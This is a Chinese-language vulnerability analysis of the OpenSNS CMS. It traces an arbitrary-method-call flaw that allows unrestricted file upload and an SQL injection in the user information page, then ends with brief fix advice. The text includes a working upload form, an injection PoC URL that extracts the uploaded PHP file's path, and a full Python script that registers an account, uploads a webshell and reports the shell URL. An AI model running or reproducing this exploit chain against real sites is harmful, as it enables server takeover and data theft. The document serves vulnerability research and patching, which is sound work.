0x01前言 前些天表哥们去打awd,碰到这个opensns,百度了几个漏洞都没利用成功,最后终于在Google上找到了这个利用方法(http://0day5.com/archives/4280/ ),然而比赛也快结束了。。。。这套cms基于ThinkPHP框架开发,感觉有必要跟一跟这个漏洞。话不多说,开始!
0x02漏洞分析 问题出在/Application/Weibo/Controller/ShareController.class.php
中的doSendShare函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function doSendShare ( ) { $aContent = I ('post.content' ,'' ,'text' ); $aQuery = I ('post.query' ,'' ,'text' ); parse_str ($aQuery ,$feed_data ); if (empty ($aContent )){ $this ->error (L ('_ERROR_CONTENT_CANNOT_EMPTY_' )); } if (!is_login ()){ $this ->error (L ('_ERROR_SHARE_PLEASE_FIRST_LOGIN_' )); } $new_id = send_weibo ($aContent , 'share' , $feed_data ,$feed_data ['from' ]); $info = D ('Weibo/Share' )->getInfo ($feed_data ); ......
可以看到$aQuery和$aContent都是通过post传递过来的,然后下面对$aQuery进行操作,结果保存在$feed_data中。
1 parse_str ($aQuery ,$feed_data );
跟踪$feed_data变量,可以看到它进入了getInfo函数。 位置:/Application/Weibo/Model/ShareModel.class.php
1 2 3 4 5 6 7 8 9 public function getInfo ($param ) { $info = array (); if (!empty ($param ['app' ]) && !empty ($param ['model' ]) && !empty ($param ['method' ])){ $info = D ($param ['app' ].'/' .$param ['model' ])->$param ['method' ]($param ['id' ]); } return $info ; }
这里这个D函数是ThinkPH中的一个实例化类的函数,跟一下看看: 位置:/ThinkPHP/Common/functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function D ($name = '' , $layer = '' ) { if (empty ($name )) return new Think\Model ; static $_model = array (); $layer = $layer ? : C ('DEFAULT_M_LAYER' ); if (isset ($_model [$name . $layer ])) return $_model [$name . $layer ]; $class = parse_res_name ($name , $layer ); if (class_exists ($class )) { $model = new $class (basename ($name )); } elseif (false === strpos ($name , '/' )) { if (!C ('APP_USE_NAMESPACE' )) { import ('Common/' . $layer . '/' . $class ); } else { $class = '\\Common\\' . $layer . '\\' . $name . $layer ; } $model = class_exists ($class ) ? new $class ($name ) : new Think\Model ($name ); } else { \Think\Log ::record ('D方法实例化没找到模型类' . $class , Think\Log ::NOTICE ); $model = new Think\Model (basename ($name )); } $_model [$name . $layer ] = $model ; return $model ; }
这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C(‘DEFAULT_M_LAYER’)的值,那么这个值是多少呢? 在/ThinkPHP/Conf/convention.php
中有:
1 'DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值,也就是Model。 那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。 然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。 再回过头来看getInfo函数这一行
1 $info = D ($param ['app' ].'/' .$param ['model' ])->$param ['method' ]($param ['id' ]);
只传递了一个参数,$param[‘model’]是要调用的模块,$param[‘method’]是方法(只能是public),$param[‘id’]是所调用方法的第一个参数。 这个地方要怎么利用呢?在这里膜一下大牛的思路——找一个上传类,能上传文件,不就能getshell了嘛!
在/Application/Home/Model/FileModel.class.php
这个文件中有一个文件上传函数,具体看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public function upload ($files , $setting , $driver = 'Local' , $config = null ) { $setting ['callback' ] = array ($this , 'isFile' ); $Upload = new \Think\Upload ($setting , $driver , $config ); $info = $Upload ->upload ($files ); $this ->_auto[] = array ('location' , 'Ftp' === $driver ? 1 : 0 , self ::MODEL_INSERT ); if ($info ){ foreach ($info as $key => &$value ) { if (isset ($value ['id' ]) && is_numeric ($value ['id' ])){ continue ; } if ($this ->create ($value ) && ($id = $this ->add ())){ $value ['id' ] = $id ; } else { unset ($info [$key ]); } } return $info ; } else { $this ->error = $Upload ->getError (); return false ; } }
这里调用了ThinkPHP的upload函数,继续跟踪。
1 $info = $Upload ->upload ($files );
位置:/ThinkPHP/Library/Think/Upload.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 public function upload ($files = '' ) { $files = $this ->dealFiles ($files ); foreach ($files as $key => $file ) { if (!isset ($file ['key' ])) $file ['key' ] = $key ; if (isset ($finfo )) { $file ['type' ] = finfo_file ($finfo , $file ['tmp_name' ]); } $file ['ext' ] = pathinfo ($file ['name' ], PATHINFO_EXTENSION); if (!$this ->check ($file )) { continue ; } if ($this ->hash) { $file ['md5' ] = md5_file ($file ['tmp_name' ]); $file ['sha1' ] = sha1_file ($file ['tmp_name' ]); } $data = call_user_func ($this ->callback, $file ); if ($this ->callback && $data ) { $drconfig = $this ->driverConfig; $fname = str_replace ('http://' . $drconfig ['domain' ] . '/' , '' , $data ['url' ]); if (file_exists ('.' . $data ['path' ])) { $info [$key ] = $data ; continue ; } elseif ($this ->uploader->info ($fname )) { $info [$key ] = $data ; continue ; } elseif ($this ->removeTrash) { call_user_func ($this ->removeTrash, $data ); } } $savename = $this ->getSaveName ($file ); if (false == $savename ) { continue ; } else { $file ['savename' ] = $savename ; } $subpath = $this ->getSubPath ($file ['name' ]); if (false === $subpath ) { continue ; } else { $file ['savepath' ] = $this ->savePath . $subpath ; } $ext = strtolower ($file ['ext' ]); if (in_array ($ext , array ('gif' , 'jpg' , 'jpeg' , 'bmp' , 'png' , 'swf' ))) { $imginfo = getimagesize ($file ['tmp_name' ]); if (empty ($imginfo ) || ($ext == 'gif' && empty ($imginfo ['bits' ]))) { $this ->error = '非法图像文件!' ; continue ; } } $file ['rootPath' ] = $this ->config['rootPath' ]; $name = get_addon_class ($this ->driver); if (class_exists ($name )) { $class = new $name (); if (method_exists ($class , 'uploadDealFile' )) { $class ->uploadDealFile ($file ); } } if ($this ->uploader->save ($file , $this ->replace)) { unset ($file ['error' ], $file ['tmp_name' ]); $info [$key ] = $file ; } else { $this ->error = $this ->uploader->getError (); } } if (isset ($finfo )) { finfo_close ($finfo ); } return empty ($info ) ? false : $info ; }
注释都写得很详细,可以看到文件上传检测调用了一个check函数,跟一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private function check ($file ) { if (!$this ->checkMime ($file ['type' ])) { $this ->error = '上传文件MIME类型不允许!' ; return false ; } if (!$this ->checkExt ($file ['ext' ])) { $this ->error = '上传文件后缀不允许' ; return false ; } return true ; }
前面的部分省略,重点看文件mime类型和文件后缀的检测
1 2 3 4 5 6 7 8 9 private function checkExt ($ext ) { return empty ($this ->config['exts' ]) ? true : in_array (strtolower ($ext ), $this ->exts); } private function checkMime ($mime ) { return empty ($this ->config['mimes' ]) ? true : in_array (strtolower ($mime ), $this ->mimes); }
可以看到这两个检测函数都是去查看$this->config中相对应的成员,如果为空直接返回true。看一下$config:
1 2 3 4 5 6 private $config = array ( 'mimes' => array (), 'maxSize' => 0 , 'exts' => array (), );
这就意味着我们可以上传任意文件!现在还有几个头疼的问题就是我们不知道上传路径是什么,文件上传之后有没有被改名,现在我们回到upload函数中
1 2 3 4 5 6 7 8 $savename = $this ->getSaveName ($file );if (false == $savename ) { continue ; } else { $file ['savename' ] = $savename ; }
跟进getSaveName函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private function getSaveName ($file ) { $rule = $this ->saveName; if (empty ($rule )) { $filename = substr (pathinfo ("_{$file['name']} " , PATHINFO_FILENAME), 1 ); $savename = $filename ; } else { $savename = $this ->getName ($rule , $file ['name' ]); if (empty ($savename )) { $this ->error = '文件命名规则错误!' ; return false ; } } $ext = empty ($this ->config['saveExt' ]) ? $file ['ext' ] : $this ->saveExt; return $savename . '.' . $ext ; }
首先看一下saveName的值,依然是在config中:
1 'saveName' => array ('uniqid' , '' ),
$rule不为空,上传的文件就一定会被重命名,之后$rule又进入了getName函数,继续跟
1 2 3 4 5 6 7 8 9 10 11 12 13 private function getName ($rule , $filename ) { $name = '' ; } elseif (is_string ($rule )) { if (function_exists ($rule )) { $name = call_user_func ($rule ); } else { $name = $rule ; } } return $name ; }
上面config中的uniqid是php内置的函数,掏出小本本来查一查。
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
上传文件命名的流程就很清晰了,首先利用uniqid()生成一个唯一id,然后拼接后缀名,对任意文件上传是没有影响的。 先上传一波试试
1 2 3 4 5 6 7 8 9 10 11 12 13 <html > <body > <form action ="http://127.0.0.1/opensns/index.php?s=/weibo/share/doSendShare.html" method ="post" enctype ="multipart/form-data" ><label for ="file" > Filename:</label > <input type ="file" name ="file_img" id ="file" /> <br /> <input type ="text" name ="content" value ="123" id ="1" /> <input type ="text" name ="query" id ="2" value ="app=Home&model=File&method=upload&id=" /> <input type ="submit" name ="submit" value ="Submit" /> </form > </body > </html >
利用这个表单上传即可,但是。。。上传完了没有回显,惊不惊喜?意不意外? 现在回到/Application/Home/Model/FileModel.class.php
中的upload函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if ($info ){ foreach ($info as $key => &$value ) { if (isset ($value ['id' ]) && is_numeric ($value ['id' ])){ continue ; } if ($this ->create ($value ) && ($id = $this ->add ())){ $value ['id' ] = $id ; } else { unset ($info [$key ]); } } return $info ;
大体看了看create和add函数,都是与数据库有关的操作,也就是说我们上传文件的信息保存在数据库中了。这时候就要请出seay代码审计系统中的神器——Mysql监控了。利用上面的表单上传一个文件,在mysql监控中搜索INSERT即可找到对应的表为ocenter_file
。
从数据库里获取数据最好的方法是什么?当然是注入了!所以大牛轻描淡写的又挖了一枚注入,再膜一波。。。。。 注入出现在Application/Ucenter/Controller/IndexController.class.php
的information函数中
1 2 3 4 5 public function information ($uid = null ) { $user = query_user (array ('nickname' , 'signature' , 'email' , 'mobile' , 'rank_link' , 'sex' , 'pos_province' , 'pos_city' , 'pos_district' , 'pos_community' ), $uid );
继续跟进query_user函数 位置:/Application/Common/Model/UserModel.class.php
1 2 3 4 5 6 7 8 9 10 11 12 function query_user ($pFields = null , $uid = 0 ) { $user_data = array (); $fields = $this ->getFields ($pFields ); $uid = (intval ($uid ) != 0 ? $uid : get_uid ()); list ($cacheResult , $fields ) = $this ->getCachedFields ($fields , $uid ); $user_data = $cacheResult ; list ($user_data , $fields ) = $this ->getNeedQueryData ($user_data , $fields , $uid );
注意看这里
1 $uid = (intval ($uid ) != 0 ? $uid : get_uid ());
这里只是在判断的时候讲$uid intval了一下,实际并没有对$uid造成任何影响,我们构造的语句依然可以带入数据库执行。后面$uid又进入了getNeedQueryData函数,跟下去
1 2 3 4 5 6 7 private function getNeedQueryData ($user_data , $fields , $uid ) { $need_query = array_intersect ($this ->table_fields, $fields ); if (!empty ($need_query )) { $db_prefix =C ('DB_PREFIX' ); $query_results = D ('' )->query ('select ' . implode (',' , $need_query ) . " from `{$db_prefix} member`,`{$db_prefix} ucenter_member` where uid=id and uid={$uid} limit 1" );
可以看到$uid未做任何处理直接拼接语句,我们就可以通过这个注入来获取我们shell的文件名和路径了。 poc如下:
1 http://127.0.0.1/opensns/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html
0x03漏洞利用 两个漏洞的利用方式已经在上面的分析过程中给出了,这里放一个py的利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import requestsimport randomimport res = requests.Session() url = 'http://10.10.10.139/opensns/' def getRandomName (): name = '' for i in range (4 ): name += chr (random.randint(97 , 122 )) return name def register (): global s registerUrl = url + 'index.php?s=/ucenter/member/register.html' nickname = getRandomName() headers = { 'Referer' : registerUrl, 'Content-Type' : 'application/x-www-form-urlencoded' , } data = { 'role' : '1' , 'username' : nickname+'@test.com' , 'nickname' : nickname, 'password' : '123456' , 'reg_type' : 'email' , } r = s.post(registerUrl, data=data, headers=headers) return nickname def login (username ): global s loginUrl = url + 'index.php?s=/ucenter/member/login.html' headers = { 'Referer' : loginUrl, 'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8' , } data = { 'username' : username, 'password' : '123456' , 'remember' : '0' , 'from' : loginUrl, } r = s.post(loginUrl, data=data, headers=headers) def upload (): global s uploadUrl = url + 'index.php?s=/weibo/share/doSendShare.html' file = {'file_img' : open ('l.php' , 'r' )} data = { 'content' : '123' , 'query' : 'app=Home&model=File&method=upload&id=' , } r = s.post(uploadUrl, data=data, files=file) def getShell (): global s exp = url + 'index.php?s=/ucenter/index/information/uid/23333 union (select 1,2,concat(savepath,savename),4 from ocenter_file where savename like 0x252e706870 order by id desc limit 0,1)#.html' r = s.get(exp) shellUrl = url + 'Uploads/' + re.findall(r'>(.*?)</attr>' , r.text)[0 ] r = s.get(shellUrl) return shellUrl if r.status_code == 200 else False def main (): username = register() login(username) upload() shell = getShell() if shell: print ('[*] Getshell! Url is ' + shell) else : print ('[-] Something Wrong...' ) if __name__ == '__main__' : main()
0x04漏洞修复
上传:在/ThinkPHP/Library/Think/Upload.class.php
的config变量中设置允许上传的文件mime和文件后缀名。
注入:在Application/Ucenter/Controller/IndexController.class.php
的information函数中先对$uid进行intval处理,在进行后续操作。